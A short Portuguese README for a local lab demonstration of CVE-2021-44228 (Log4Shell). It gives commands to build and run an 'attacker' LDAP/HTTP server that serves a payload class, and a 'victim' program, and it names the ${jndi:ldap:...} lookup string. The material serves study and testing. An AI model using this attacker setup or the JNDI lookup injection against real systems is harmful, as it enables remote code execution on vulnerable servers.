sample-ldap-exploit

Uma curta demonstração do CVE-2021-44228

Compilação

$ mvn clean verify

Executar Atacante

$ java \
  -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
  sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar

URLs:

• http://localhost:8080/
• http://localhost:8080/sample/payload/Payload.class

Executar Vítima

$ java \
  -cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
  sample.victim.Victim

Resultados

JDK / JRE

Se NÃO vulnerável, uma instância de javax.naming.Reference é retornada de javax.naming.Context.lookup().

Se NÃO vulnerável ao carregamento de classes de bases de código remotas, outras vulnerabilidades de desserialização Java provavelmente ainda existem!

log4j

Se NÃO vulnerável, ${jndi:ldap:...} NÃO é resolvido.